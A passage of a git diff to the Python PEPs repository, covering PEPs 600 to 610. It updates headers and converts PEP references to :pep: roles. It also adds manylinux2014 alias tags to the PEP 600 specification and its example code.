31, 2019 `_. Copyright diff --git a/pep-0600.rst b/pep-0600.rst index 9cbb7ef145c..5fa3996b05a 100644 --- a/pep-0600.rst +++ b/pep-0600.rst @@ -2,16 +2,18 @@ PEP: 600 Title: Future 'manylinux' Platform Tags for Portable Linux Built Distributions Version: $Revision$ Last-Modified: $Date$ -Author: Nathaniel J. Smith +Author: Nathaniel J. Smith , Thomas Kluyver Sponsor: Paul Moore BDFL-Delegate: Paul Moore -Discussions-To: Discourse https://discuss.python.org/t/the-next-manylinux-specification/1043 -Status: Accepted -Type: Informational +Discussions-To: https://discuss.python.org/t/the-next-manylinux-specification/1043 +Status: Final +Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 03-May-2019 -Post-History: 3-May-2019 +Post-History: 03-May-2019 +Replaces: 513, 571, 599 Resolution: https://discuss.python.org/t/pep-600-future-manylinux-platform-tags-for-portable-linux-built-distributions/2414/27 Abstract @@ -68,11 +70,11 @@ wheels, and the manylinux approach has achieved substantial uptake among both package maintainers and end-users. But any manylinux PEP needs some way to address these complexities. -In previous manylinux PEPs (:pep:`513`, :pep:`571`), we've done this -by attempting to write down in the PEP the exact set of libraries, -symbol versions, Python configuration, etc. that we believed would -lead to wheels that work on all mainstream glibc-based Linux systems. -But this created several problems: +In previous manylinux PEPs (:pep:`513`, :pep:`571`, :pep:`599`), we've +done this by attempting to write down in the PEP the exact set of +libraries, symbol versions, Python configuration, etc. that we +believed would lead to wheels that work on all mainstream glibc-based +Linux systems. But this created several problems: First, PEPs are generally supposed to be normative references: if software doesn't match the PEP, then we fix the software. But in this @@ -248,6 +250,13 @@ tags: - ``manylinux1_i686`` is now an alias for ``manylinux_2_5_i686`` - ``manylinux2010_x86_64`` is now an alias for ``manylinux_2_12_x86_64`` - ``manylinux2010_i686`` is now an alias for ``manylinux_2_12_i686`` +- ``manylinux2014_x86_64`` is now an alias for ``manylinux_2_17_x86_64`` +- ``manylinux2014_i686`` is now an alias for ``manylinux_2_17_i686`` +- ``manylinux2014_aarch64`` is now an alias for ``manylinux_2_17_aarch64`` +- ``manylinux2014_armv7l`` is now an alias for ``manylinux_2_17_armv7l`` +- ``manylinux2014_ppc64`` is now an alias for ``manylinux_2_17_ppc64`` +- ``manylinux2014_ppc64le`` is now an alias for ``manylinux_2_17_ppc64le`` +- ``manylinux2014_s390x`` is now an alias for ``manylinux_2_17_s390x`` This redefinition is largely a no-op, but does affect a few things: @@ -299,11 +308,14 @@ the default logic should be used. For compatibility with previous specifications, if the tag is ``manylinux1`` or ``manylinux_2_5`` exactly, then we also check the -module for a boolean attribute ``manylinux1_compatible``, and if the +module for a boolean attribute ``manylinux1_compatible``, if the tag version is ``manylinux2010`` or ``manylinux_2_12`` exactly, then we also check the module for a boolean attribute -``manylinux2010_compatible``. If both the new and old attributes are -defined, then ``manylinux_compatible`` takes precedence. +``manylinux2010_compatible``, and if the tag version is +``manylinux2014`` or ``manylinux_2_17`` exactly, then we also check +the module for a boolean attribute ``manylinux2014_compatible``. If +both the new and old attributes are defined, then +``manylinux_compatible`` takes precedence. Here's some example code. You don't have to actually use this code, but you can use it for reference if you have questions about the exact @@ -314,6 +326,13 @@ semantics:: "manylinux1_i686": "manylinux_2_5_i686", "manylinux2010_x86_64": "manylinux_2_12_x86_64", "manylinux2010_i686": "manylinux_2_12_i686", + "manylinux2014_x86_64": "manylinux_2_17_x86_64", + "manylinux2014_i686": "manylinux_2_17_i686", + "manylinux2014_aarch64": "manylinux_2_17_aarch64", + "manylinux2014_armv7l": "manylinux_2_17_armv7l", + "manylinux2014_ppc64": "manylinux_2_17_ppc64", + "manylinux2014_ppc64le": "manylinux_2_17_ppc64le", + "manylinux2014_s390x": "manylinux_2_17_s390x", } def manylinux_tag_is_compatible_with_this_system(tag): @@ -368,6 +387,7 @@ matches the following regexes: - ``manylinux1_(x86_64|i686)`` - ``manylinux2010_(x86_64|i686)`` +- ``manylinux2014_(x86_64|i686|aarch64|armv7l|ppc64|ppc64le|s390x)`` - ``manylinux_[0-9]+_[0-9]+_(.*)`` Package indexes may impose additional requirements; for example, they diff --git a/pep-0601.txt b/pep-0601.txt index aba2709e443..d0046a6c0be 100644 --- a/pep-0601.txt +++ b/pep-0601.txt @@ -1,6 +1,6 @@ PEP: 601 Title: Forbid return/break/continue breaking out of finally -Author: Damien George, Batuhan Taskaya +Author: Damien George, Batuhan Taskaya Sponsor: Nick Coghlan Discussions-To: https://discuss.python.org/t/pep-601-forbid-return-break-continue-breaking-out-of-finally/2239 Status: Rejected @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 26-Aug-2019 Python-Version: 3.8 -Post-History: 26-Aug-2019 23-Sep-2019 +Post-History: 26-Aug-2019, 23-Sep-2019 Resolution: https://discuss.python.org/t/pep-601-forbid-return-break-continue-breaking-out-of-finally/2239/32 Rejection Note @@ -18,7 +18,7 @@ This PEP was rejected by the Steering Council by a vote of 4/4. Guido's arguments for rejecting the PEP are: "it seems to me that most languages implement this kind of construct but have style guides and/or linters that -reject it. I would support a proposal to add this to PEP 8", and "I note that +reject it. I would support a proposal to add this to :pep:`8`", and "I note that the toy examples are somewhat misleading – the functionality that may be useful is a conditional return (or break etc.) inside a finally block.". diff --git a/pep-0602-example-release-calendar.png b/pep-0602-example-release-calendar.png index 1db4825f61c..fdbf1a0f53f 100644 Binary files a/pep-0602-example-release-calendar.png and b/pep-0602-example-release-calendar.png differ diff --git a/pep-0602-overlapping-support-matrix.png b/pep-0602-overlapping-support-matrix.png index 52392848f46..4620a10deca 100644 Binary files a/pep-0602-overlapping-support-matrix.png and b/pep-0602-overlapping-support-matrix.png differ diff --git a/pep-0602.rst b/pep-0602.rst index ef5f8bf0baf..8edcd19e869 100644 --- a/pep-0602.rst +++ b/pep-0602.rst @@ -3,7 +3,7 @@ Title: Annual Release Cycle for Python Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa -BDFL-Delegate: Brett Cannon (on behalf of the steering council) +PEP-Delegate: Brett Cannon Discussions-To: https://discuss.python.org/t/pep-602-annual-release-cycle-for-python/2296/ Status: Accepted Type: Informational @@ -120,7 +120,7 @@ Deprecations The current policy around breaking changes assumes at least two releases before a deprecated feature is removed from Python or a ``__future__`` -behavior is enabled by default. This is documented in PEP 387. +behavior is enabled by default. This is documented in :pep:`387`. This PEP proposes to keep this policy of **at least** two releases before making a breaking change. @@ -128,7 +128,7 @@ before making a breaking change. The term of the Steering Council -------------------------------- -The current wording of PEP 13 states that "a new council is elected +The current wording of :pep:`13` states that "a new council is elected after each feature release". This PEP proposes to keep this policy as it will lead to a consistent election schedule. @@ -236,7 +236,7 @@ by one or two: Figure 2. Testing matrix in the 18-month cadence vs. the 12-month The "extended bugfix support at the discretion of the Release Manager" -stage of the current release cycle is not codified. If fact, PEP 101 +stage of the current release cycle is not codified. If fact, :pep:`101` currently states that after the release of Python 3.(X+1).0 only one last bugfix release is made for Python 3.X.0. However, in practice at least the last four versions of Python 3 overlapped with stable releases @@ -291,7 +291,7 @@ More importantly, from the perspective of the user: Double the release cadence to achieve 9 months between major versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -This was originally proposed in PEP 596 and rejected as both too +This was originally proposed in :pep:`596` and rejected as both too irregular and too short. This would not give any of the benefits of a regular release calendar but it would shorten all development phases, especially the beta + RC phases. This was considered dangerous. @@ -311,7 +311,7 @@ better. Slow down releases but don't freeze feature development with Beta 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -This is described in PEP 598. This proposal includes non-standard +This is described in :pep:`598`. This proposal includes non-standard concepts like the "incremental feature release" which makes it hard to understand. The presented advantages are unclear while the unfamiliarity of the scheme poses a real risk of user and integrator diff --git a/pep-0603.rst b/pep-0603.rst index f91a89a6e43..2e0b9d6a7eb 100644 --- a/pep-0603.rst +++ b/pep-0603.rst @@ -298,6 +298,7 @@ Performance .. figure:: pep-0603-hamt_vs_dict.png :align: center :width: 100% + :class: invert-in-dark-mode Figure 1. Benchmark code can be found here: [3]_. @@ -312,6 +313,7 @@ The above chart demonstrates that: .. figure:: pep-0603-lookup_hamt.png :align: center :width: 100% + :class: invert-in-dark-mode Figure 2. Benchmark code can be found here: [4]_. diff --git a/pep-0604.rst b/pep-0604.rst index 0796e94da83..0267adae6c9 100644 --- a/pep-0604.rst +++ b/pep-0604.rst @@ -23,10 +23,10 @@ writing ``Union[X, Y]`` as ``X | Y``, and allows it to appear in Motivation ========== -PEP 484 and PEP 526 propose a generic syntax to add typing to variables, -parameters and function returns. PEP 585 proposes to `expose +:pep:`484` and :pep:`526` propose a generic syntax to add typing to variables, +parameters and function returns. :pep:`585` proposes to :pep:`expose parameters to generics at runtime -`_. +<585#parameters-to-generics-are-available-at-runtime>`. Mypy [1]_ accepts a syntax which looks like:: annotation: name_type @@ -144,7 +144,7 @@ In some situations, some exceptions will not be raised as expected. If a metaclass implements the ``__or__`` operator, it will override this:: >>> class M(type): - ... def __or__(self, other): return "Hello" + ... def __or__(self, other): return "Hello" ... >>> class C(metaclass=M): pass ... @@ -185,7 +185,7 @@ CONS: 2. Change only PEP 484 (Type hints) to accept the syntax ``type1 | type2`` ? ---------------------------------------------------------------------------- -PEP 563 (Postponed Evaluation of Annotations) is enough to accept this proposition, +:pep:`563` (Postponed Evaluation of Annotations) is enough to accept this proposition, if we accept to not be compatible with the dynamic evaluation of annotations (``eval()``). :: diff --git a/pep-0605-example-release-calendar.png b/pep-0605-example-release-calendar.png index 03455634640..f7998d240a0 100644 Binary files a/pep-0605-example-release-calendar.png and b/pep-0605-example-release-calendar.png differ diff --git a/pep-0605-overlapping-support-matrix.png b/pep-0605-overlapping-support-matrix.png index 609193ac204..f01c2c69a75 100644 Binary files a/pep-0605-overlapping-support-matrix.png and b/pep-0605-overlapping-support-matrix.png differ diff --git a/pep-0605.rst b/pep-0605.rst index a0369193f38..4e6bccc41fc 100644 --- a/pep-0605.rst +++ b/pep-0605.rst @@ -9,12 +9,12 @@ Type: Informational Content-Type: text/x-rst Created: 20-Sep-2019 Python-Version: 3.9 -Post-History: 1-Oct-2019, 6-Oct-2019, 20-Oct-2019 +Post-History: 01-Oct-2019, 06-Oct-2019, 20-Oct-2019 Rejection Notice ================ -This PEP was rejected in favour of PEP 602. The potential alpha/beta alternation +This PEP was rejected in favour of :pep:`602`. The potential alpha/beta alternation was deemed too confusing and the two year cadence between releases deemed too long. @@ -24,7 +24,7 @@ Abstract For a long time, CPython's nominal feature release cadence has been "every 18-24 months", and in recent years, has been pretty consistently on the "18 month" -end of that window. PEP 607 provides some common background on the problems +end of that window. :pep:`607` provides some common background on the problems that arise due to that choice of cadence, as well as some of the risks that need to be accounted for when proposing to change it. @@ -155,7 +155,7 @@ and then linked from each of the Python 3.9 alpha and beta announcements. PEP 605: Changes to the pre-release management process ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -As detailed in PEP 605, the pre-release management process has been updated to +As detailed in :pep:`605`, the pre-release management process has been updated to produce a rolling series of beta releases that are considered suitable for production use in environments with sufficiently robust integration testing and operational monitoring capabilities. @@ -174,7 +174,7 @@ ignored by post-freeze interpreter builds. The full CPython ABI will be frozen, and the pre-release flag dropped from the ABI flags, in 3.9.0rc1, which is expected to occur 2 months prior to the final -3.9.0 release (refer to the release schedule in PEP 596 for exact target dates). +3.9.0 release (refer to the release schedule in :pep:`596` for exact target dates). For application developers, migrating to the rolling release stream provides the opportunity to be actively involved in the design and development of @@ -336,7 +336,7 @@ application containers, also make it easier to combine an application with a language runtime in a CI pipeline, and then keep them together until the entire container image is later replaced by an updated one. -In light of those changes in the wider environment, PEP 602 has proposed +In light of those changes in the wider environment, :pep:`602` has proposed reducing the feature delivery latency for the Python standard library and CPython reference interpreter by increasing the frequency of CPython feature releases from every 18-24 months to instead occur every 12 months. @@ -361,7 +361,7 @@ more variants in widespread use can make it more difficult to determine when a fault report is an actual error in the project, or an issue in the reporting user's environment. -PEP 602 proposes that affected organisations and projects simply switch to +:pep:`602` proposes that affected organisations and projects simply switch to adopting every second or third CPython release, rather than attempting to adopt every release, but that creates its own set of new problems to be resolved, both practical (e.g. deprecations would need to cover more than one release if we're @@ -370,7 +370,7 @@ number of versions in active use, there is a much higher chance that open source library maintainers will receive bug reports that only occur on Python versions that they're not using themselves). -PEP 598 was an initial attempt by one of the authors of this PEP to propose +:pep:`598` was an initial attempt by one of the authors of this PEP to propose an alternative scheme to reduce feature delivery latency by adopting a semantic versioning style policy that allowed for the incremental delivery of backwards compatible features within a release series, until that series @@ -378,7 +378,7 @@ reached feature complete status. That variant still had the undesirable consequence of imposing visible changes on end users that are happy enough with the current release management model. -This PEP takes the view that both PEP 598 and PEP 602 share a common flaw: they +This PEP takes the view that both :pep:`598` and :pep:`602` share a common flaw: they are attempting to satisfy the needs of two quite distinct audiences within the constraints of a single release model, which results in conflicting design requirements, and the need for awkward trade-offs between those conflicting @@ -418,7 +418,7 @@ for almost all Python users and contributors: * for users of the new incremental feature release stream, targeting the pre-release phase allows for even lower feature delivery latency than the - annual cadence proposed in PEP 602; + annual cadence proposed in :pep:`602`; * for core developers working on new features, increased frequency and adoption of pre-releases should improve pre-release feedback cycles; * for users of the established release stream, the increased adoption and @@ -438,13 +438,13 @@ for almost all Python users and contributors: That said, it is acknowledged that not all the outcomes of this proposal will be beneficial for all members of the wider Python ecosystem: -* for Python library maintainers, both this PEP and PEP 602 would likely +* for Python library maintainers, both this PEP and :pep:`602` would likely result in user pressure to support the faster release cadence. While this PEP attempts to mitigate that by clearly marking which pre-releases include - potentially breaking changes to the full CPython C ABI, and PEP 602 attempts + potentially breaking changes to the full CPython C ABI, and :pep:`602` attempts to mitigate it by keeping the minimum time between full releases at 12 months, it isn't possible to eliminate this downside completely; -* for third party extension module maintainers, both this PEP and PEP 602 would +* for third party extension module maintainers, both this PEP and :pep:`602` would likely result in user pressure to start supporting the stable ABI in order to provide wheel archives that work on the new version as soon as it is available. Whether that's a net negative or not will depend on how the request @@ -892,11 +892,11 @@ to alternate between traditional stable releases (for 3.8.x, 3.10.x, etc), and release series that used the new rolling release cadence (for 3.9.x, 3.11.x, etc). -This idea suffers from the same core problem as PEP 598 and PEP 602: it imposes +This idea suffers from the same core problem as :pep:`598` and :pep:`602`: it imposes changes on end users that are happy with the status quo without offering them any clear compensating benefit. -It's also affected by one of the main concerns raised against PEP 598: at least +It's also affected by one of the main concerns raised against :pep:`598`: at least some core developers and end users strongly prefer that no particular semantics be assigned to the *value* of any of the numbers in a release version. These community members instead prefer that all the semantic significance be @@ -1209,7 +1209,7 @@ with the specific proposal in this PEP is with Debian, as that has been released in the first half of odd-numbered years since 2005 (roughly 12 months offset from Ubuntu LTS releases). -With the annual release proposal in PEP 602, both Debian and Ubuntu LTS would +With the annual release proposal in :pep:`602`, both Debian and Ubuntu LTS would consistently get a system Python version that is around 6 months old, but would also consistently select different Python versions from each other. @@ -1221,7 +1221,7 @@ releases by the time the Linux distribution ships. If that situation does occur, and is deemed undesirable (but not sufficiently undesirable for *Debian* to choose to adjust their release timing), then that's where the additional complexity of the "incremental feature release" proposal -in PEP 598 may prove worthwhile. +in :pep:`598` may prove worthwhile. (Moving CPython releases to the same half of the year as the Debian and Ubuntu LTS releases would potentially help mitigate the problem, but also creates @@ -1302,7 +1302,7 @@ In some cases, both usage models may exist within the same organisation for different purposes, such as: * using a stable Python environment for mission critical systems, but allowing - data scientists to use the latest available version for ad hoc data anaylsis + data scientists to use the latest available version for ad hoc data analysis * a hardware manufacturer deploying a stable Python version as part of their production firmware, but using the latest available version in the development and execution of their automated integration tests @@ -1335,7 +1335,7 @@ releases for a longer time without fear of breaking changes. Acknowledgements ================ -Thanks to Łukasz Langa for creating PEP 602 and prompting this discussion of +Thanks to Łukasz Langa for creating :pep:`602` and prompting this discussion of possible improvements to the CPython release cadence, and to Kyle Stanley and h-vetinari for constructive feedback on the initial draft of this PEP. diff --git a/pep-0606.rst b/pep-0606.rst index 87a9cde23fc..964c8d2dcb9 100644 --- a/pep-0606.rst +++ b/pep-0606.rst @@ -76,16 +76,16 @@ The performance overhead of any compatibility code must be low when ``sys.set_python_compat_version()`` is not called. The C API is out of the scope of this PEP: ``Py_LIMITED_API`` macro and -the stable ABI are solving this problem differently, see the `PEP 384: -Defining a Stable ABI `_. +the stable ABI are solving this problem differently, see the :pep:`PEP 384: +Defining a Stable ABI <384>`. Security fixes which break backward compatibility on purpose will not get a compatibility layer; security matters more than compatibility. For example, ``http.client.HTTPSConnection`` was modified in Python 3.4.3 to performs all the necessary certificate and hostname checks by -default. It was a deliberate change motivated by `PEP 476: Enabling +default. It was a deliberate change motivated by :pep:`PEP 476: Enabling certificate verification by default for stdlib http clients -`_ (`bpo-22417 +<476>` (`bpo-22417 `_). The Python language does not provide backward compatibility. @@ -127,8 +127,8 @@ Python 3 is long, and it's getting longer with each Python 3.x release. Cleaning up Python and DeprecationWarning ----------------------------------------- -One of the `Zen of Python (PEP 20) -`_ motto is: +One of the :pep:`Zen of Python (PEP 20) +<20>` motto is: There should be one-- and preferably only one --obvious way to do it. @@ -136,7 +136,7 @@ One of the `Zen of Python (PEP 20) When Python evolves, new ways inevitably emerge. ``DeprecationWarning``\ s are emitted to suggest using the new way, but many developers ignore these warnings, which are silent by default (except in the ``__main__`` -module: see the `PEP 565 `_). +module: see the :pep:`565`). Some developers simply ignore all warnings when there are too many warnings, thus only bother with exceptions when the deprecated code is removed. @@ -393,11 +393,11 @@ means 6 ``.pyc`` files, instead of 3, to support Python 3.8 and Python Temporary moratorium on incompatible changes -------------------------------------------- -In 2009, PEP 3003 "Python Language Moratorium" proposed a +In 2009, :pep:`3003` "Python Language Moratorium" proposed a temporary moratorium (suspension) of all changes to the Python language syntax, semantics, and built-ins for Python 3.1 and Python 3.2. -In May 2018, during the PEP 572 discussions, it was also proposed to slow +In May 2018, during the :pep:`572` discussions, it was also proposed to slow down Python changes: see the python-dev thread `Slow down... `_ @@ -413,8 +413,8 @@ down Python changes: see the python-dev thread `Slow down... PEP 387 ------- -`PEP 387 -- Backwards Compatibility Policy -`_ proposes a process to make +:pep:`PEP 387 -- Backwards Compatibility Policy +<387>` proposes a process to make incompatible changes. The main point is the 4th step of the process: See if there's any feedback. Users not involved in the original @@ -424,11 +424,11 @@ incompatible changes. The main point is the 4th step of the process: PEP 497 ------- -`PEP 497 -- A standard mechanism for backward compatibility -`_ proposes different +:pep:`PEP 497 -- A standard mechanism for backward compatibility +<497>` proposes different solutions to provide backward compatibility. -Except for the ``__past__`` mechanism idea, PEP 497 does not propose +Except for the ``__past__`` mechanism idea, :pep:`497` does not propose concrete solutions: When an incompatible change to core language syntax or semantics is @@ -508,7 +508,7 @@ Examples of Python 3.7 incompatible changes: * ``asyncio`` no longer exports the ``selectors`` and ``_overlapped`` modules as ``asyncio.selectors`` and ``asyncio._overlapped``. Replace ``from asyncio import selectors`` with ``import selectors``. -* PEP 479 is enabled for all code in Python 3.7, meaning that +* :pep:`479` is enabled for all code in Python 3.7, meaning that ``StopIteration`` exceptions raised directly or indirectly in coroutines and generators are transformed into ``RuntimeError`` exceptions. @@ -588,23 +588,23 @@ References Accepted PEPs: -* `PEP 5 -- Guidelines for Language Evolution - `_ -* `PEP 236 -- Back to the __future__ - `_ -* `PEP 411 -- Provisional packages in the Python standard library - `_ -* `PEP 3002 -- Procedure for Backwards-Incompatible Changes - `_ +* :pep:`PEP 5 -- Guidelines for Language Evolution + <5>` +* :pep:`PEP 236 -- Back to the __future__ + <236>` +* :pep:`PEP 411 -- Provisional packages in the Python standard library + <411>` +* :pep:`PEP 3002 -- Procedure for Backwards-Incompatible Changes + <3002>` Draft PEPs: -* `PEP 602 -- Annual Release Cycle for Python - `_ -* `PEP 605 -- A rolling feature release stream for CPython - `_ -* See also withdrawn `PEP 598 -- Introducing incremental feature - releases `_ +* :pep:`PEP 602 -- Annual Release Cycle for Python + <602>` +* :pep:`PEP 605 -- A rolling feature release stream for CPython + <605>` +* See also withdrawn :pep:`PEP 598 -- Introducing incremental feature + releases <598>` Copyright diff --git a/pep-0607.rst b/pep-0607.rst index c8c6bc2a0b4..e1019dddeef 100644 --- a/pep-0607.rst +++ b/pep-0607.rst @@ -16,14 +16,14 @@ Post-History: 20-Oct-2019 Abstract ======== -PEP 602 and PEP 605 describe two alternative approaches to delivering smaller +:pep:`602` and :pep:`605` describe two alternative approaches to delivering smaller collections of features to Python's users more frequently (as compared to the current approach of offering new feature releases every 18-24 months, with the first binary alpha release taking place 6-8 months before the final release). Both PEPs also propose moving to a release cadence that results in full releases -occurring at a consistent time of year (every year for PEP 602, every other -year for PEP 605). +occurring at a consistent time of year (every year for :pep:`602`, every other +year for :pep:`605`). This PEP (from the authors of both competing proposals) provides common background on *why* a change in the release cadence is considered desirable, @@ -44,11 +44,11 @@ given that they include larger pieces of relatively untested code. The easiest way to simplify those investigations and reduce the likelihood of users encountering problems is to reduce the size of the batches being shipped. -PEP 602 proposes to address this problem via the straightforward approach of +:pep:`602` proposes to address this problem via the straightforward approach of reducing CPython's typical batch size by 50%, shipping 12 months of changes each time, rather than accumulating 18+ months of changes. -PEP 605 proposes to address it by regularly delivering 2 months worth of changes +:pep:`605` proposes to address it by regularly delivering 2 months worth of changes to a subset of Python's user base that opts in to running a rolling stream of beta releases (similar to running Windows Insider builds instead of the Windows retail release, or running Debian testing instead of Debian stable). @@ -62,10 +62,10 @@ long period of time between stable releases, it creates an incredibly strong temptation for developers to push changes into stable releases before they're really ready for general use. -PEP 602 proposes to address this problem by reducing the period of time +:pep:`602` proposes to address this problem by reducing the period of time between stable releases to 12 months rather than 18 months. -PEP 605 proposes to address it by actively creating a community of +:pep:`605` proposes to address it by actively creating a community of Python users that regularly install and use CPython beta releases, providing an incentive for core developers to start shipping changes earlier in the pre-release cycle, in order to obtain feedback before the feature gets locked @@ -84,10 +84,10 @@ individual volunteers and for corporate contributors, and also complicates alignment with events like PyCon US (typically April/May) and the now-annual core development sprints (typically in September). -PEP 602 proposes to address this problem by publishing a new release in October +:pep:`602` proposes to address this problem by publishing a new release in October every year, and basing the pre-release calendar for each year off that. -PEP 605 proposes to address this problem by alternating between release years +:pep:`605` proposes to address this problem by alternating between release years (where a new stable release is published in August), and non-release years (where only maintenance releases and new rolling beta releases are published). @@ -106,10 +106,10 @@ literally years to correct any design mistakes identified at that point. Marking APIs as provisional nominally offers a way to avoid that constraint, but actually taking advantage of that freedom causes other problems. -PEP 602 proposes to address this problem by starting the alpha period +:pep:`602` proposes to address this problem by starting the alpha period immediately after the previous stable release. -PEP 605 proposes to address this problem by actively promoting adoption of +:pep:`605` proposes to address this problem by actively promoting adoption of CPython pre-releases for running production workloads (not just for library and application compatibility testing), and adjusting the pre-release management process as necessary to make that a reasonable thing to do. @@ -143,12 +143,12 @@ published CPython release series (for example, Debian stable and Ubuntu LTS sometimes skip releases due to the mismatch between their 24-month release cycles and CPython's typically 18-month cycle). -The faster 12-month full release cadence in PEP 602 means that users in this +The faster 12-month full release cadence in :pep:`602` means that users in this category may end up skipping two releases where they would previously have only skipped one. However, the extended notice period for deprecations means that skipping a single release should no longer result in missed deprecation warnings. -The slower 24-month full release cadence in PEP 605 may move some of the users +The slower 24-month full release cadence in :pep:`605` may move some of the users that have historically been in this category into the "update to every stable release" category. @@ -159,7 +159,7 @@ Impact on users and redistributors that update to every release Many of Python's users never install a pre-release, but do update to every stable release series at some point after it is published. -PEP 602 aims to mitigate the potential negative impact on members of this group +:pep:`602` aims to mitigate the potential negative impact on members of this group by keeping the minimum gap between releases to 12 months, and retaining the 18 month full support period for each release. @@ -167,7 +167,7 @@ Keeping the 18-month full support period for each release branch means that the branches will spend roughly the same amount of time in full support and security-fix-only mode as they do now (~18 months and ~42 months, respectively). -PEP 605 aims to mitigate the potential negative impact on members of this group +:pep:`605` aims to mitigate the potential negative impact on members of this group by increasing use during the pre-release period to achieve more stable final releases with wider ecosystem support at launch. @@ -185,8 +185,8 @@ Despite the difficulties of doing so, there are already some users and redistributors that take on the challenge of using or publishing the CPython master branch directly. -Neither PEP 602 nor PEP 605 should directly affect this group, but the rolling -release stream proposal in PEP 605 aims to lower the barriers to more users +Neither :pep:`602` nor :pep:`605` should directly affect this group, but the rolling +release stream proposal in :pep:`605` aims to lower the barriers to more users adopting this style of usage, by allowing them to adopt the tested rolling beta stream, rather than needing to use the master branch directly. @@ -197,10 +197,10 @@ Impact on maintainers of third party libraries For maintainers of third party libraries, the key source of support complexity is the *number* of different Python versions in widespread use. -PEP 602 aims to mitigate the potential negative impact on members of this group +:pep:`602` aims to mitigate the potential negative impact on members of this group by keeping the minimum gap between full releases to 12 months. -PEP 605 aims to mitigate the potential negative impact on members of this group +:pep:`605` aims to mitigate the potential negative impact on members of this group by increasing the gap between full releases to 24 months, retaining the current policy of moving each release branch to security-fix-only mode not long after its successor is released, and retaining the "beta" naming scheme for the new diff --git a/pep-0608.rst b/pep-0608.rst index e5acb14b56a..43f17afcb7a 100644 --- a/pep-0608.rst +++ b/pep-0608.rst @@ -59,8 +59,7 @@ before a feature can be removed. In practice, DeprecationWarning warnings are ignored for years in major Python projects. Usually, maintainers explain that there are too many warnings and so they simply ignore warnings. Moreover, DeprecationWarning -is silent by default (except in the ``__main__`` module: `PEP 565 -`_). +is silent by default (except in the ``__main__`` module: :pep:`565`). Even if more and more projects are running their test suite with warnings treated as errors (``-Werror``), Python core developers still @@ -86,10 +85,10 @@ all selected projects is available. Shorter Python release schedule ------------------------------- -The `PEP 602: Annual Release Cycle for Python -`_ and the `PEP 605: A +The :pep:`PEP 602: Annual Release Cycle for Python +<602>` and the :pep:`PEP 605: A rolling feature release stream for CPython -`_ would like to release +<605>` would like to release Python more often to ship new features more quickly. The problem is that each Python ``3.x`` release breaks many projects. @@ -203,8 +202,8 @@ Incompatible changes The definition here is large: any Python change which cause an issue when building or testing a project. -See also the `PEP 606: Python Compatibility Version -`_ for more examples of +See also the :pep:`PEP 606: Python Compatibility Version +<606>` for more examples of incompatible changes. Examples @@ -240,8 +239,8 @@ There are different kinds of incompatible changes: Cleaning up Python and DeprecationWarning ----------------------------------------- -One of the `Zen of Python (PEP 20) -`_ motto is: +One of the :pep:`Zen of Python (PEP 20) +<20>` motto is: There should be one-- and preferably only one --obvious way to do it. diff --git a/pep-0609.rst b/pep-0609.rst index 159f2aff790..bd76102cbf8 100644 --- a/pep-0609.rst +++ b/pep-0609.rst @@ -1,15 +1,15 @@ PEP: 609 -Title: PyPA Governance +Title: Python Packaging Authority (PyPA) Governance Version: $Revision$ Last-Modified: $Date$ Author: Dustin Ingram , - Pradyun Gedam + Pradyun Gedam , Sumana Harihareswara Sponsor: Paul Ganssle -BDFL-Delegate: TBD -Discussions-To: https://discuss.python.org/t/pep-609-pypa-governance/ +Discussions-To: https://discuss.python.org/t/pep-609-pypa-governance/2619 Status: Active Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 05-Nov-2019 Post-History: 05-Nov-2019 diff --git a/pep-0610.rst b/pep-0610.rst index 013324aa429..27b0cf2ada7 100644 --- a/pep-0610.rst +++ b/pep-0610.rst @@ -6,6 +6,7 @@ BDFL-Delegate: Pradyun Gedam Discussions-To: https://discuss.python.org/t/recording-the-source-url-of-an-installed-distribution/1535 Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 21-Apr-2019 Post-History: @@ -14,8 +15,8 @@ Resolution: https://discuss.python.org/t/1535/56 Abstract ======== -Following PEP 440, a distribution can be identified by a name and either a -version, or a direct URL reference (see `PEP440 Direct References`_). +Following :pep:`440`, a distribution can be identified by a name and either a +version, or a direct URL reference (see :pep:`PEP440 Direct References <440#direct-references>`). After installation, the name and version are captured in the project metadata, but currently there is no way to obtain details of the URL used when the distribution was identified by a direct URL reference. @@ -23,7 +24,7 @@ distribution was identified by a direct URL reference. This proposal defines additional metadata, to be added to the installed distribution by the installation front end, which records the Direct URL Origin for use by -consumers which introspect the database of installed packages (see PEP 376). +consumers which introspect the database of installed packages (see :pep:`376`). Provisional acceptance ====================== @@ -55,7 +56,7 @@ Python installers such as pip are capable of downloading and installing distributions from package indexes. They are also capable of downloading and installing source code from requirements specifying arbitrary URLs of source archives and Version Control Systems (VCS) repositories, -as standardized in `PEP440 Direct References`_. +as standardized in :pep:`PEP440 Direct References <440#direct-references>`. In other words, two relevant installation modes exist. @@ -70,7 +71,7 @@ In other words, two relevant installation modes exist. (typically a wheel, a source archive or a VCS repository) and installs it. In this mode, installers typically download the source code in a - temporary directory, invoke the PEP 517 build backend to produce a wheel + temporary directory, invoke the :pep:`517` build backend to produce a wheel if needed, install the wheel, and delete the temporary directory. After installation, no trace of the URL the user requested to download the @@ -132,7 +133,7 @@ revision corresponds to a branch, tag or (in the case of Git) a ref. This information can be used when introspecting the Database of Installed Distributions to communicate to users more information about what version was installed (e.g. whether a branch or tag was installed and, if so, the name of the -branch or tag). This also permits one to know whether a PEP 440 direct +branch or tag). This also permits one to know whether a :pep:`440` direct reference URL can be constructed using the tag form, as only tags have the semantics of immutability. @@ -158,7 +159,7 @@ directory, so the information can be recovered when running "freeze". The use of this workaround, although useful, is fragile, creates confusion about the purpose of the editable mode, and works only when the distribution -can be installed with setuptools (i.e. it is not usable with other PEP 517 +can be installed with setuptools (i.e. it is not usable with other :pep:`517` build backends). When this PEP is implemented, it will not be necessary anymore to use @@ -172,8 +173,9 @@ This PEP specifies a new ``direct_url.json`` metadata file in the ``.dist-info`` directory of an installed distribution. The fields specified are sufficient to reproduce the source archive and `VCS -URLs supported by pip`_. They are also 